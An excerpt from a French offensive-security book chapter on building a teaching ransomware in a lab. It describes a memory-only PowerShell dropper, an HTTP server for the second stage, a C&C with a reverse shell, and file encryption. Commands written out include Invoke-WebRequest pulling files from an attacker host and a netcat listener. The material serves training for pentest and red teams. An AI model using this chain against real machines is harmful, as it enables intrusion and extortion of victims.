Malware maison

Introduction

Le chapitre précédent a présenté diverses techniques d’attaques isolées qui illustrent bien la diversité des cas d’usage possibles dans une optique malveillante. Dans ce chapitre, nous allons continuer de découvrir des techniques d’attaques mais en combinant différentes méthodes pour développer un embryon de malware simple, capable de communiquer avec un serveur de contrôle-commande (dit C&C), et de cryptolocker des fichiers sur la machine victime. De manière à rester uniquement en PowerShell, la méthode pour faire exécuter le code initial que l’on va développer ici ne sera pas abordée. Cette partie sera traitée dans le prochain chapitre avec l’incontournable macro office piégée. 

L’exercice consistant à recréer son propre malware est un entraînement indispensable et une étape quasi obligatoire pour toutes les équipes offensives, qu’elles soient bienveillantes (pentest, redteam, audit) ou malveillantes…

En effet, l’immense majorité des produits accessibles librement (projets aboutis disponibles sur Internet en PowerShell comme d’autres langages) sont déjà ou seront très rapidement reconnus par les mécanismes de protection des parcs informatiques avec les IPS et antivirus...

Comment est architecturé un malware ?

Les malwares d’il y a vingt ans, comme le fameux ILOVEYOU de l’an 2000, n’existent plus. Pour rappel, ce dernier consistait en un simple script vbs monobloc envoyé en pièce jointe de mail et dont « l’exploit » consistait à masquer son extension de fichier ; via une double extension ".txt.vbs" affichée incorrectement en ".txt" par Windows à l’époque… Il est estimé que ce petit programme aurait tout de même infecté 10 % des machines connectées à Internet de l’époque.

Cependant, en vingt ans, les malwares ont évolué et se sont complexifiés pour devenir de vrais logiciels spécialisés et séparés en plusieurs parties, chacune en charge d’un rôle bien particulier de l’attaque. On retrouve donc des codes spécialisés dans la compromission initiale, d’autres dans la collecte d’information ou le maintien et la fourniture d’accès. Cette approche segmentée permet de présenter de multiples codes, plus petits qu’un seul bloc monolithique, où chaque morceau est plus simple à modifier individuellement. L’autre avantage pour les malfaiteurs est que ces codes peuvent être développés et maintenus...

Étape 1 : le dropper Memory Only

Le dropper, c’est la tête de pont d’un virus. Très léger, il est le premier à être exécuté par la victime, et c’est lui qui lance la suite de l’attaque. La méthode pour amener la victime à exécuter la charge initiale sera abordée au prochain chapitre. La première étape du développement est ici de préparer un code PowerShell capable d’en télécharger un autre et d’exécuter ce dernier, idéalement sans écrire le fichier sur le disque de la victime et en travaillant donc uniquement en mémoire.

Pour cela, deux fonctions de téléchargement et d’exécution en .NET et PowerShell s’avèrent très utiles :

Les premières lignes du dropper commenceront donc par télécharger un fichier à une URL donnée. Dans les dernières versions de PowerShell, il est possible d’utiliser la cmdlet Invoke-WebRequest :

Invoke-WebRequest -Uri http://10.0.2.5:8000/Ematete.zip -outfile 
"Ematete.zip" 

Mais malheureusement...

Étape 2 : le serveur de contenu

1. Serveur HTTP en Python

Avec le dropper précédent qui s’exécute sur une machine victime, il est donc possible de télécharger et d’exécuter un second code hébergé sur un serveur web distant de la machine victime. Dans les cas réels, les attaquants utilisent quasi systématiquement d’autres sites compromis au préalable, et différents de leur serveur de contrôle-commande, pour distribuer le code. Ici, c’est la machine attaquante qui devra jouer le rôle de l’ensemble de l’infrastructure de l’attaquant.

Sur une machine Linux, il existe un moyen très simple de proposer un serveur web avec Python 3 et le module http.server (ou SimpleHTTPServer en Python 2).

 Passez sur la machine Kali en tant que Sabine et exécutez la commande suivante dans un terminal :

$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 

 Vous pouvez contrôler son bon fonctionnement en vous connectant localement à la machine Kali avec le navigateur présent sur la distribution.

Étape 3 : le C&C et le reverse shell

Le C&C (Control and Command) est l’infrastructure de contrôle d’un malware, c’est lui qui attend que les clients se connectent et il leur fournit des instructions. Dans cette section, il y a donc deux objets à étudier : le C&C d’une part et d’autre part le code exécuté sur la machine de la victime qui se connecte au C&C le reverse shell. Avant de les développer, il faut comprendre ce qu’est un reverse shell et revenir pour cela au chapitre Les attaquants et PowerShell dans la section qui définit un scan réseau. Celle-ci a abordé la manière dont s’établit un flux TCP, mais sans aborder une notion fondamentale en sécurité des systèmes d’information : le sens d’établissement de ces flux TCP.

En effet, quand bien même un flux TCP établi permet d’échanger des données dans les deux directions (c’est-à-dire du client vers le serveur, mais également du serveur vers le client), il n’y a bien qu’une seule des deux machines qui envoie le paquet SYN au départ ; on considère qu’elle est émettrice du flux TCP et donne ainsi aux flux une direction.

Au niveau des firewalls, ce sont bien souvent ces paquets SYN initiaux qui sont bloqués ou autorisés pour imposer la politique de sécurité sur le réseau. Pour tout ce qui touche aux flux d’administration, et de manière plus générale, il est d’ailleurs recommandé dans un système d’information que les flux ne puissent se diriger que vers des zones moins sensibles que la leur. On dit que les flux remontants sont proscrits. L’objectif est bien d’empêcher un attaquant de s’introduire dans des zones plus sensibles que les accès qu’il possède déjà.

Pour illustrer avec notre Lab, la machine Kali ecrins est dans une zone moins sensible que le SI de PSALPES derrière le firewall PfSense. Dans ce contexte, Sabine ne peut pas établir une connexion (envoyer un paquet SYN) vers les machines dans ce réseau, mais rien n’empêche les machines du réseau d’envoyer de se connecter vers Internet et vers la machine Kali....

Étape 4 : le ransomware

openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:4096 
-keyout key.pem...

L’attaque, pas à pas

Le développement est terminé, cela peut paraître compliqué mais en vérité l’attaque en situation réelle tient dans la séquence ci-dessous.

Préparation sur le serveur de l’attaquant :

$ python3 -m http.server 

$ nc -lvp 4443 

Sur le poste Windows 10, exécutez le fichier dropper.ps1 sur la machine de la victime. Cette commande établit une connexion sur le reverse shell et permet de lancer la phase de rançongiciel depuis la machine Kali :

.\dropper.ps1 

Invoke-WebRequest -Uri http://10.0.2.5:8000/cert.pem -OutFile  
cert.pem 

certutil -addstore -user -f "My" .\cert.pem 

Conclusion

Dans ce chapitre, nous avons vu comment développer un malware de type ransomware. Celui-ci peut, à partir d’un simple dropper de quelques lignes en PowerShell, télécharger et exécuter un code PowerShell hébergé sur un serveur distant. Ce deuxième étage (ou stage 2) établit un reverse shell sur un second canal de communication et donne la main à l’attaquant sur la machine de la victime presque comme si ce dernier était présent localement, tout en respectant un sens d’établissement du flux pour éviter les mécanismes de protection. Une fois son accès établi, l’attaquant réalise à la main un cryptolocker sur la machine.

À défaut d’être vraiment crédible, ce ransomware a l’intérêt d’être pédagogique. Il est en effet assez éloigné des techniques des ransomwares actuels. D’abord car, contrairement aux virus modernes, il ne bénéficie pas de multiples mécanismes d’obfuscation et de protection contre la rétro-ingénierie. Ensuite, il n’existe quasiment pas de malware 100 % PowerShell, la plupart font appel à un moment ou à un autre à un fichier exécutable, ou à un mécanisme de persistance ou d’élévation de privilèges...